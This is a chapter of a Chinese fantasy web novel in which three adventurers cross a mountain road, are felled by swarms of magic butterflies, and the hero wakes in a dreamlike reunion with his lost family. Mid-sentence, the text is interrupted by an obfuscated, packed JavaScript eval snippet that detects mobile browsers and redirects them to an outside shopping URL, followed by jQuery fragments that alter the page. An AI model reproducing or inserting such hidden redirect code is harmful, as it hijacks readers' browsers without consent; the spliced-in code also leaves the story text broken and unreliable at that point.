来到艾尔芙海姆的第一个早晨,埃莱罗是在一声巨大的爆炸声中醒来,他推开旅馆的木窗,不耐烦地探出头,果不其然看到一楼灰头土脸的艾莉娜娅和菲林诺两人。
“你们这是在干嘛。”
“咳咳,”菲林诺用手扇了扇弥漫起的烟尘,仰起头同二楼的埃莱罗解释:“艾莉娜娅说她想到一种新的药剂配方,说是能帮我弥补不能在森林作战缺少的战力。”
但很显然,效果并不理想。
艾莉娜娅却不这么想:“也许是药材放入顺序和魔力注入方面出现了问题。”
埃莱罗不这么认为,他叹口气:“你们别把旅馆给炸了就行。”
“不会的!”
在艾莉娜娅自信回应声中,埃莱罗重新躺回床上,不消一会,另一身巨大的爆炸声如约而至。
他翻了个身,用枕头捂住耳朵,心中默数三秒,不出所料,旅馆老板娘的怒吼声接着在一楼响起,他认命般起来,下去帮两人,主要是艾莉娜娅,赔礼道歉。
除了菲林诺,队内的两人都不是很适应艾尔芙海姆的伙食,在这里住了一晚并从此地的哨所接取委托后,三人便动身前往委托的所在地,位于艾尔芙海姆北方的灰泉镇。
埃莱罗给艾莉娜娅接取的委托是此地唯一一个A级委托,解决盘旋在灰泉镇东方的恶龙,而他自己则是接了一个解决艾尔芙海姆周边魔物的C级委托。
艾莉娜娅站在不远处,看着埃莱罗顺利完成自己的委托,并成功从委托人那里获得报酬:“埃莱罗,太过分了。”
“我到时候会帮你的啦!”
落在一侧的菲林诺则是默默刷存在感:“亲爱的艾莉娜娅,如果你愿意的话,我可以和你交换委托。”
艾莉娜娅嫌弃地挪开脸,虽然什么都没说,但似乎什么都说了。
“好了菲林诺,我们也会帮你的,”埃莱罗拍拍菲林诺的肩膀,“对吧艾莉娜娅。”
艾莉娜娅拒绝的很果断:“不要。”
相较于萨孔特、新月林以及艾尔芙海姆几乎都是平原区域的城镇来说,从艾尔芙海姆到灰泉镇就需要过一段崎岖的山路。
比起随时可能出现的魔物,先出现的是艾莉娜娅叫苦连天的哀嚎。
“为什么我们要走这条路啊。”
“别抱怨,艾莉娜娅,”埃莱罗扶着一旁的树干站起,“我有给过你选择的。”
他们此次的暂时目的地是矮人的城镇,卡德·阿祖尔,除了从灰泉镇出发,艾尔芙海姆其实是有来往卡德·阿祖尔的商会,但如果要搭商会的顺风车,就得在艾尔芙海姆在住上两晚,艾莉娜娅强烈表示她宁可爬山也不愿意再吃艾尔芙海姆那除了好看一无是处的饭菜。
“可是我实在走不动了嘛!”艾莉娜娅直接蹲在地上,怎么说也不肯起来。
埃莱罗无奈地看了一眼菲林诺:“你还好吗?要不要在这里歇一会?”
“亲爱的埃莱罗,你实在是太体贴了。”为了防止出现意外情况,菲林诺特意问旅馆老板娘借了纱布,牢牢捂住自己的鼻孔,“请放心,今天的菲林诺是无敌的,我可以应付任何的状况。”
“那我们就在这里歇一会好了。”
埃莱罗话还没说完,一只在阳光的照射下五光十色的蝴蝶慢悠悠飞到艾莉娜娅的面前,停在了她的鼻尖上,她眨了眨眼,伸手想要抓住蝴蝶,却在触碰的那一刻,蝴蝶灵活地躲闪开朝着远处飞走。
“真好看,那是什么品种的蝴蝶,”艾莉娜娅起身走到埃莱罗身边,指着飞远的蝴蝶问道,“我好像没见过这种类型的蝴蝶。”
“不清楚,但是小心点比较好,据说这里奇怪的魔物很多。”埃莱罗顿了顿补充道,“昨天我在餐厅问了一下艾尔芙海姆为数不多的冒险者们。”
“噢,亲爱的埃莱罗,你实在是太靠谱了。”
因山路加上捂住鼻孔的缘故,菲林诺逐渐有些喘不上气,埃莱罗见他这副摇摇晃晃的模样不免担忧起来:“你要不还是摘了纱布吧,我感觉这附近也没什么鲜花的样子。”
“不过你们俩这体力也太差了吧。”
“真是太感谢了。”菲林诺飞速解开鼻孔的束缚,扶着树干大口大口呼吸着新鲜空气,“请不用担心艾莉娜娅大人,只需要一小会,菲林诺就能满血复活。”
“我不是在担心你。”艾莉娜娅望着菲林诺的身后,大量的,和之前那只蝴蝶相同种类的蝴蝶,正朝着他们飞来,如乌云压境般遮天蔽日。
“是魔物吗?”
埃莱罗率先拔出大剑挡在两人面前,但在这些蝴蝶面前似乎是徒劳无功,细碎的鳞粉随着羽翼振动而落下。
菲林诺率先反应过来,还没完全取下的纱布重新捂住自己的下半张脸,迅速拉弓搭箭射下几只飞舞的蝴蝶,同时朝着埃莱罗两人大喊:“快捂住口鼻!”
可惜为时已晚。
蝴蝶散去,只剩下晕倒在地的埃莱罗和艾莉娜娅,更糟糕的是,在拖拽两人的时候菲林诺感觉到树丛深处似乎传来了魔物的声响。
菲林诺额头渗出了汗珠,他警惕地望着周围,倒吸一口凉气:“法涅斯在上……”
“小心!艾莉娜娅!”
埃莱罗从床上惊醒,狭窄的阁楼间堆满了各种各样的杂物,床脚随意堆放在粗布制成的衣物,窗外伴随着人声涌进的是咸涩的海浪味。
“埃莱罗!还让不让人休息了,一大早就大呼小叫的!”
埃莱罗看向来人,是“莱拉?”,但比记忆中的莱拉要更鲜活,也更暴躁,倒像是父母还没离开时候的样子。
“怎么了?做噩梦了吗?”
然后出现的是“妈妈……”
比记忆中年长些的妇女坐到他的床边,温柔地抚上他的头顶:“别怕,妈妈在这里呢。”
埃莱罗有些茫然,望着面前的人,眼眶逐渐湿润。
“妈妈?真的是你吗?可是……怎么会,你不是去找爸爸然后就再也……”话还没说完,门口那位围着围裙,正朝着屋内探头探脑,他弯着眼眸打趣道:“是谁昨天还说自己已经是男子汉了,怎么今天就因做了噩梦要妈妈哄啊。”
“你是不是睡糊涂了,我一直在这里啊。”妇女温柔地注视着他,“是做噩梦梦见妈妈不见了吗?”
“不是,是……”
真是奇怪啊。
埃莱罗突然就想不起来他要说什么了,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527326|203574||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是什么呢?似乎一直都是这样,温柔的母亲,风趣的父亲,活泼开朗的姐姐,他们就一直生活在这座海滨小城才对,那又是为什么,为什么他在哭泣呢?
“好了好了,既然醒了就下来吃早饭吧。”男人像是闻到了什么,脸上露出了慌张的神情,“完了,我的烤肉!”
“真的是,埃莱罗就是遗传了你才这么冒冒失失的。”妇女无奈地笑笑,又安抚了一下搞不清楚状况的埃莱罗,“梦里的事就不要再想了,去洗把脸清醒点,嗯?”
待父母离开后,是还站在门口的莱拉,她穿着带有花边的睡裙,大步走到他面前,居高临下弹了下他的脑门:“你怎么了?这么安静?”
埃莱罗摇摇头,他也不知道自己怎么了。
“对了,你刚刚喊的,嗯,艾莉娜娅?应该是这个名字,她是谁?”
埃莱罗下意识回到:“是……”
他的脑海中闪过很多一位金发少女的画面,画面模糊不清,看不清少女的脸,他茫然地扶着额头,怎么也想不起来关于这个名字的一切事情:“是谁来着?”
“好吧好吧,想不起来就不想了。”莱拉揉了揉他乱糟糟的脑袋,“快点起来,别让爸妈担心。”
埃莱罗点头,下意识伸手要拿靠在床头柜的大剑,却扑了个空。
他愣愣地看向那里,似乎那里应该就是摆放着一把做工老旧的重剑才对,可是他不记得自己有过这把剑的经历。
“怎么了?快点啊!”走到门口的莱拉不耐烦地催促,埃莱罗急忙应了一声,摇摇头将疑惑抛之脑后,快速套上衣服来到了楼下。
这里是他的家,他当然记得,位于斯佩菈国的海边,由村落发展而成的小镇,虽然外来的人只有一些,但依旧热闹的海边小镇。
他的父母都是普通人,在这里相识在这里安家,靠镇上唯一一家酒馆抚养他们姐弟二人。
对,没错,就是这样的。
埃莱罗安心地坐在桌边,听着厨房里母亲指挥父亲的声音,门口跑过几名儿童,海边是渔民正在登船准备出海捕鱼。
“真安详啊。”埃莱罗单手托着下巴不由地感慨。
“是啊,真安详啊。”莱拉也忍不住跟着感慨一句,“苏醒的魔王被帝国选出的勇者重新杀死,魔物的数量也在逐渐减少,很快我们就能迎来真正的和平了。”
“真正的和平……”
埃莱罗还是感觉不真实,他所期盼的和平,大家所期盼的和平,就这么轻而易举地实现了吗?可是随着莱拉的讲述,他的记忆却逐渐清晰起来。
“你还记得魔王死亡的消息传来,整个阿卡亚都沸腾了,当晚酒馆直接营业到凌晨,满屋子都是那些烂醉如泥的酒鬼们。”
“是啊。”埃莱罗忍不住笑出声来,他似乎能看见当时的场景,“法比安还说要是他去了勇者肯定是他。”
“哈哈哈哈哈,他要是真当上勇者了,那就完蛋了,”莱拉抹去笑出的眼泪,握住埃莱罗的指尖,“不过这样就很好,以后不会再有魔族,也不会再有分离,我们一家四口会永永远远在一起。”
“嗯,”埃莱罗看向两人交握的手,用力地点头,“我们永远都不分离。”